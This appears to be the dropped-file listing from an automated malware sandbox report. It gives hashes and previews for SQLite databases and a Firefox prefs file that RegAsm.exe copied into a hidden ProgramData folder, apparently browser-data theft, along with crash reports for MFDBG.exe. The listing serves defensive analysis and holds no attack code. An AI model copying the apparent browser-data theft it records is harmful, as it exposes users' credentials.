SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\CBKJKJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\ECGIII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\EHJDHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\EHJDHJ-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\EHJKFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\GCGHCB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\HDHJEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\IJEGDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IIIEBGCBGIDH\JKKEHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\JKKEHJ-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIEBGCBGIDH\KJKFBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MFDBG.exe_2017157e86b42cec1a418c847f3f981ae2c1db2_c2730a42_0e2b0d95-fc98-451a-8906-69b50f3e30c8\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9334593914162794
Encrypted:	false
SSDEEP:	192:Zp/o9TB70BU/JNea6DkzuiFUZ24IO8Jo:vo9TOBU/JNea+kzuiFUY4IO8Jo
MD5:	D07BC37D6916F9983A26501BAC3ED735
SHA1:	B163F930CFDEF2749DC1151DB13E95E783708770
SHA-256:	31C663024A2A139B02216D4D1EA7488807317FD1CDEA0213ECE9265ED18A9D98
SHA-512:	0A1D9F466AEB3FFF0B33C6AF183073329E3A280D6EB111EF0AAB3F360FF6A1E1900A47FC48E390B2E18AD7A51BE59208259B82CB082146C0E248B29980D088C3
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.5.3.6.7.7.0.3.8.6.1.1.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.7.5.3.6.8.0.0.3.8.6.0.4.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.e.2.b.0.d.9.5.-.f.c.9.8.-.4.5.1.a.-.8.9.0.6.-.6.9.b.5.0.f.3.e.3.0.c.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.b.6.f.4.a.d.c.-.d.a.0.1.-.4.d.2.b.-.b.0.8.c.-.a.b.e.b.4.3.4.3.8.0.6.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.F.D.B.G...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.I.D.S.M...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.7.0.-.0.0.0.1.-.0.0.1.4.-.e.3.4.c.-.a.9.2.5.6.4.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.a.1.9.7.6.b.b.9.f.e.0.7.a.6.c.7.6.7.1.3.d.6.a.4.1.1.0.b.7.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.6.3.9.e.9.e.8.7.1.0.3.f.5.7.6.6.1.7.e.d.0.8.c.5.0.9.1.0.c.a.9.2.f.e.5.c.8.c.5.b.!.M.F.D.B.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MFDBG.exe_2017157e86b42cec1a418c847f3f981ae2c1db2_c2730a42_1ddf9044-8c44-443c-9fbe-d70a22bf2f5d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9332780233989901
Encrypted:	false
SSDEEP:	192:+0WEo39B70BU/JNea6DkzuiFUZ24IO8Jo:RHo39OBU/JNea+kzuiFUY4IO8Jo
MD5:	665318D43C10801E31823B1C07FF049C
SHA1:	8B57163CA8F8372E286BCD86424CF3908E5C76F5
SHA-256:	64DA57AA34D54950650175835CB684B757E6F87BDEE8C58BD70260E2BBE9492B
SHA-512:	09B53642CCC5FD4686F36B457BB21D2E47F9DAB095D018E2731EDB6534F7509B9445CCDD7B401D73B500AC68D1A635CE3F6DDED6AA253B7A23813253319C9DD2
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.7.5.3.6.8.7.4.1.1.9.3.8.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.1.7.5.3.6.9.0.0.5.2.5.6.5.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.d.d.f.9.0.4.4.-.8.c.4.4.-.4.4.3.c.-.9.f.b.e.-.d.7.0.a.2.2.b.f.2.f.5.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.d.a.8.7.5.4.f.-.6.8.1.b.-.4.5.b.d.-.8.a.1.4.-.6.c.a.6.e.a.6.4.a.d.c.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.F.D.B.G...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.I.D.S.M...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.c.0.-.0.0.0.1.-.0.0.1.4.-.a.4.e.a.-.6.8.2.c.6.4.0.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.a.1.9.7.6.b.b.9.f.e.0.7.a.6.c.7.6.7.1.3.d.6.a.4.1.1.0.b.7.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.6.3.9.e.9.e.8.7.1.0.3.f.5.7.6.6.1.7.e.d.0.8.c.5.0.9.1.0.c.a.9.2.f.e.5.c.8.c.5.b.!.M.F.D.B.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1AF4.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 16:01:17 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	187580
Entropy (8bit):	4.132385299005449
Encrypted:	false
SSDEEP:	1536:CzCz3+onztThM/CuoSVXcGquBojRlYpN4uE2aOIWKIayCXmCD7UiLTgjYva7nMPN:CzCCeZ5y4o4uEqInIf+7UiLTg1n8lmC
MD5:	13CDF0EA3B1284B0AE4B2C8F55756E5B
SHA1:	A3CBFC85EF01DF116DD144113710C0C1347561BB
SHA-256:	C1C2BAA354E27B12AD2EB2270D6ABD59F69126FC4603AF66E5571A5BA50E31AA
SHA-512:	3DCF5E0E8C5A550CD478DBDEC9F7D80050E6F2B308F784CCD0A5CEF83522E50F52E8552C55E66C4AD2177C0D3A6415DEE49DF40C9C46B9415183D83F87F47200
Malicious:	false
Preview:	MDMP..a..... ........3.f........................x...........$...........d ...9..........`.......8...........T............%..,...........4........... ...............................................................................eJ..............GenuineIntel............T.......p....3.f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F6A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8376
Entropy (8bit):	3.695550911601559
Encrypted:	false
SSDEEP:	192:R6l7wVeJad66Z6YEIX6SU0MgmfZVxprn89bftisf61m:R6lXJQ6k6YEY6SU0MgmfLkfLfx
MD5:	ECD951E4E29F7AB0972239F4EF8E9B69
SHA1:	F21938F7C4C9D4575A0B076428961778CDA8EBA4
SHA-256:	EEFDC1F6B0A65DE29B9125D86A8D96ACF5657706CF32E516302459B6BB8D5661
SHA-512:	F9FF18B58FFB274A3226E5408E498C5320119793B3BE85F78EF304411740228B7344058C876241B4B69732A0DA75616D4C6019D818949A8B0F18242D1C94C56F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.6.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2007.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4726
Entropy (8bit):	4.46457490343451
Encrypted:	false
SSDEEP:	96:uIjfxI7O27V/J9J1mKn1rdTJIjzKKzNTd:uIdYO27j9J1d1rd9gzKKz3
MD5:	7A8424671E28E9E687A3736BF2B5AC51
SHA1:	C48A3C48156C4908BB862F49DEC0B70F07738C4B
SHA-256:	BB87F5DB84423F6C7763109FAAA17595D5E34D21D732B4589CD525BA9692BE91
SHA-512:	0D1804CA2932D8F77338916F7DF7C70BC2B722A16CEF8804F33E72AA161D8E4B3AAA2D6FBB3CC42F512FADAC2370BDBDC9D5DB6093DF2799E8C550C56369AA76
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="515943" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER430E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Sep 25 16:01:27 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	187032
Entropy (8bit):	4.153802852432503
Encrypted:	false
SSDEEP:	1536:bzUuq6UtTvDM/C1DmSVXJtquBojRlpN4uE2aOGWQ04CD/UiLTg5+eIj1AP9Wa1CU:bzMoyOZ4uEqGOz/UiLTg5+/oSpt/
MD5:	C25C0C0B3E1622FBB3E4922E5ACFEFC0
SHA1:	CABED0ED10A6F562A1271A6943B7E4FE4F8D729F
SHA-256:	3A1CEBF80703176CBDA7605E1902478B6BA449F0F49FDDC5AA0ED5E9942DBBE3
SHA-512:	35A38CE7787D8F3C081572C86F9B8D0A45B42E5714CAF01353DE6DC8D88212D1ED8859F6BDB54C84B10C88960CD2B38D708AF6A81A3C7D79975BA3FC774238B2
Malicious:	false
Preview:	MDMP..a..... ........3.f........................x...........$...........d ...9..........`.......8...........T............%..............4........... ...............................................................................eJ..............GenuineIntel............T............3.f............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER44E3.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8378
Entropy (8bit):	3.6968912975849246
Encrypted:	false
SSDEEP:	192:R6l7wVeJwS65b6YEI9SUWMgmfZVxpry89bbksfXtpm:R6lXJV65b6YEiSUWMgmfLHbXfXK
MD5:	27B9992894B59789A4BFF40526A9544C
SHA1:	B29921637CF2849C5159A5AC9D2AB0E60D69C9BD
SHA-256:	F3C1B462CA4D23DAC1F18F4E3ACD5DA060DBDD6FCA471E274BA44448BD16B5CA
SHA-512:	B7C4EB750163B32464AF267BEB024A22C6892036489F1DD0C510A089A539051E394BEB5E3FEFFD9744104718E727BF559D6628671E33DDA3BF76BA9A9C2F44D6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4504.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4726
Entropy (8bit):	4.463184593439932
Encrypted:	false
SSDEEP:	48:cvIwWl8zsTiJg77aI9kHWpW8VYjEYm8M4J9EiEJEO7F/7+q8vnEJEOE9ndD1IjEy:uIjfTwI7O27VsJ9J1gKn19TJIjzKKzfd
MD5:	7E5AC8D078F262AB2F7227E9D513C370
SHA1:	FD9EB157304B44CD00F4354EE5FDF7B336999DD7
SHA-256:	A46BCA975703BE388449CA43476ED4A5E368D0082FAE2B3C5ABA14FB3210A6DC
